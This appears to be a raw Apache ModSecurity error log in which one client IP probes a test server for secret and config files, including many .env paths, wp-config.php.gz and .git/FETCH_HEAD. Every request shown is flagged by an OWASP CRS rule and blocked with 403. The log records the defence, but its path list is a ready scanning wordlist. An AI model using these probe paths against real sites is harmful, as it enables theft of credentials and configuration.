[Thu Jul 10 08:35:27.761069 2025] [:error] [pid 1066256] [client 185.177.72.106:4666] [client 185.177.72.106] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/mail/.env&quot;] [unique_id &quot;aG9fL1yvy-JmMjlZ6U3gIgAAAAY&quot;]
[Thu Jul 10 08:35:27.761247 2025] [:error] [pid 1066256] [client 185.177.72.106:4666] [client 185.177.72.106] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/mail/.env&quot;] [unique_id &quot;aG9fL1yvy-JmMjlZ6U3gIgAAAAY&quot;]
[Thu Jul 10 08:35:27.804152 2025] [:error] [pid 1066256] [client 185.177.72.106:4666] [client 185.177.72.106] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /user/.env.staging&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/user/.env.staging&quot;] [unique_id &quot;aG9fL1yvy-JmMjlZ6U3gIwAAAAY&quot;]
[Thu Jul 10 08:35:27.804416 2025] [:error] [pid 1066256] [client 185.177.72.106:4666] [client 185.177.72.106] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/user/.env.staging&quot;] [unique_id &quot;aG9fL1yvy-JmMjlZ6U3gIwAAAAY&quot;]
[Thu Jul 10 08:35:27.804619 2025] [:error] [pid 1066256] [client 185.177.72.106:4666] [client 185.177.72.106] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/user/.env.staging&quot;] [unique_id &quot;aG9fL1yvy-JmMjlZ6U3gIwAAAAY&quot;]
[Thu Jul 10 08:35:28.015165 2025] [:error] [pid 1066256] [client 185.177.72.106:4666] [client 185.177.72.106] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /docker-node-mongo-redis/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/docker-node-mongo-redis/.env&quot;] [unique_id &quot;aG9fMFyvy-JmMjlZ6U3gJgAAAAY&quot;]
[Thu Jul 10 08:35:28.015528 2025] [:error] [pid 1066256] [client 185.177.72.106:4666] [client 185.177.72.106] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/docker-node-mongo-redis/.env&quot;] [unique_id &quot;aG9fMFyvy-JmMjlZ6U3gJgAAAAY&quot;]
[Thu Jul 10 08:35:28.015780 2025] [:error] [pid 1066256] [client 185.177.72.106:4666] [client 185.177.72.106] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/docker-node-mongo-redis/.env&quot;] [unique_id &quot;aG9fMFyvy-JmMjlZ6U3gJgAAAAY&quot;]
[Thu Jul 10 08:35:28.066970 2025] [:error] [pid 1066256] [client 185.177.72.106:4666] [client 185.177.72.106] ModSecurity: Warning. Matched phrase &quot;wp-config.php&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: wp-config.php found within REQUEST_FILENAME: /wp-config.php.gz&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/wp-config.php.gz&quot;] [unique_id &quot;aG9fMFyvy-JmMjlZ6U3gJwAAAAY&quot;]
[Thu Jul 10 08:35:28.067234 2025] [:error] [pid 1066256] [client 185.177.72.106:4666] [client 185.177.72.106] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/wp-config.php.gz&quot;] [unique_id &quot;aG9fMFyvy-JmMjlZ6U3gJwAAAAY&quot;]
[Thu Jul 10 08:35:28.067441 2025] [:error] [pid 1066256] [client 185.177.72.106:4666] [client 185.177.72.106] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/wp-config.php.gz&quot;] [unique_id &quot;aG9fMFyvy-JmMjlZ6U3gJwAAAAY&quot;]
[Thu Jul 10 08:35:28.108833 2025] [:error] [pid 1066256] [client 185.177.72.106:4666] [client 185.177.72.106] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /frontend/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/frontend/.env&quot;] [unique_id &quot;aG9fMFyvy-JmMjlZ6U3gKAAAAAY&quot;]
[Thu Jul 10 08:35:28.109080 2025] [:error] [pid 1066256] [client 185.177.72.106:4666] [client 185.177.72.106] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/frontend/.env&quot;] [unique_id &quot;aG9fMFyvy-JmMjlZ6U3gKAAAAAY&quot;]
[Thu Jul 10 08:35:28.109278 2025] [:error] [pid 1066256] [client 185.177.72.106:4666] [client 185.177.72.106] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/frontend/.env&quot;] [unique_id &quot;aG9fMFyvy-JmMjlZ6U3gKAAAAAY&quot;]
[Thu Jul 10 08:35:28.172914 2025] [:error] [pid 1066256] [client 185.177.72.106:4666] [client 185.177.72.106] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /production/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/production/.env&quot;] [unique_id &quot;aG9fMFyvy-JmMjlZ6U3gKQAAAAY&quot;]
[Thu Jul 10 08:35:28.173163 2025] [:error] [pid 1066256] [client 185.177.72.106:4666] [client 185.177.72.106] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/production/.env&quot;] [unique_id &quot;aG9fMFyvy-JmMjlZ6U3gKQAAAAY&quot;]
[Thu Jul 10 08:35:28.173360 2025] [:error] [pid 1066256] [client 185.177.72.106:4666] [client 185.177.72.106] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/production/.env&quot;] [unique_id &quot;aG9fMFyvy-JmMjlZ6U3gKQAAAAY&quot;]
[Thu Jul 10 08:35:28.213823 2025] [:error] [pid 1066256] [client 185.177.72.106:4666] [client 185.177.72.106] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /blog/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/blog/.env&quot;] [unique_id &quot;aG9fMFyvy-JmMjlZ6U3gKgAAAAY&quot;]
[Thu Jul 10 08:35:28.214078 2025] [:error] [pid 1066256] [client 185.177.72.106:4666] [client 185.177.72.106] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/blog/.env&quot;] [unique_id &quot;aG9fMFyvy-JmMjlZ6U3gKgAAAAY&quot;]
[Thu Jul 10 08:35:28.214273 2025] [:error] [pid 1066256] [client 185.177.72.106:4666] [client 185.177.72.106] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/blog/.env&quot;] [unique_id &quot;aG9fMFyvy-JmMjlZ6U3gKgAAAAY&quot;]
[Thu Jul 10 08:35:28.292620 2025] [:error] [pid 1066256] [client 185.177.72.106:4666] [client 185.177.72.106] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /en/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/en/.env&quot;] [unique_id &quot;aG9fMFyvy-JmMjlZ6U3gLAAAAAY&quot;]
[Thu Jul 10 08:35:28.292986 2025] [:error] [pid 1066256] [client 185.177.72.106:4666] [client 185.177.72.106] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/en/.env&quot;] [unique_id &quot;aG9fMFyvy-JmMjlZ6U3gLAAAAAY&quot;]
[Thu Jul 10 08:35:28.293267 2025] [:error] [pid 1066256] [client 185.177.72.106:4666] [client 185.177.72.106] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/en/.env&quot;] [unique_id &quot;aG9fMFyvy-JmMjlZ6U3gLAAAAAY&quot;]
[Thu Jul 10 08:35:28.336597 2025] [:error] [pid 1066256] [client 185.177.72.106:4666] [client 185.177.72.106] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /system/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/system/.env&quot;] [unique_id &quot;aG9fMFyvy-JmMjlZ6U3gLQAAAAY&quot;]
[Thu Jul 10 08:35:28.336947 2025] [:error] [pid 1066256] [client 185.177.72.106:4666] [client 185.177.72.106] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/system/.env&quot;] [unique_id &quot;aG9fMFyvy-JmMjlZ6U3gLQAAAAY&quot;]
[Thu Jul 10 08:35:28.337224 2025] [:error] [pid 1066256] [client 185.177.72.106:4666] [client 185.177.72.106] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/system/.env&quot;] [unique_id &quot;aG9fMFyvy-JmMjlZ6U3gLQAAAAY&quot;]
[Thu Jul 10 08:35:28.378646 2025] [:error] [pid 1066256] [client 185.177.72.106:4666] [client 185.177.72.106] ModSecurity: Warning. Matched phrase &quot;/.git/&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.git/ found within REQUEST_FILENAME: /.git/fetch_head&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.git/FETCH_HEAD&quot;] [unique_id &quot;aG9fMFyvy-JmMjlZ6U3gLgAAAAY&quot;]
[Thu Jul 10 08:35:28.378897 2025] [:error] [pid 1066256] [client 185.177.72.106:4666] [client 185.177.72.106] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.git/FETCH_HEAD&quot;] [unique_id &quot;aG9fMFyvy-JmMjlZ6U3gLgAAAAY&quot;]
[Thu Jul 10 08:35:28.379083 2025] [:error] [pid 1066256] [client 185.177.72.106:4666] [client 185.177.72.106] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.git/FETCH_HEAD&quot;] [unique_id &quot;aG9fMFyvy-JmMjlZ6U3gLgAAAAY&quot;]
[Thu Jul 10 08:35:28.482564 2025] [:error] [pid 1066256] [client 185.177.72.106:4666] [client 185.177.72.106] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /dodoswap-client/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/dodoswap-client/.env&quot;] [unique_id &quot;aG9fMFyvy-JmMjlZ6U3gLwAAAAY&quot;]
[Thu Jul 10 08:35:28.482822 2025] [:error] [pid 1066256] [client 185.177.72.106:4666] [client 185.177.72.106] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/dodoswap-client/.env&quot;] [unique_id &quot;aG9fMFyvy-JmMjlZ6U3gLwAAAAY&quot;]
[Thu Jul 10 08:35:28.483671 2025] [:error] [pid 1066256] [client 185.177.72.106:4666] [client 185.177.72.106] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/dodoswap-client/.env&quot;] [unique_id &quot;aG9fMFyvy-JmMjlZ6U3gLwAAAAY&quot;]
[Thu Jul 10 08:35:28.539276 2025] [:error] [pid 1066256] [client 185.177.72.106:4666] [client 185.177.72.106] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /icon/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/icon/.env&quot;] [unique_id &quot;aG9fMFyvy-JmMjlZ6U3gMAAAAAY&quot;]
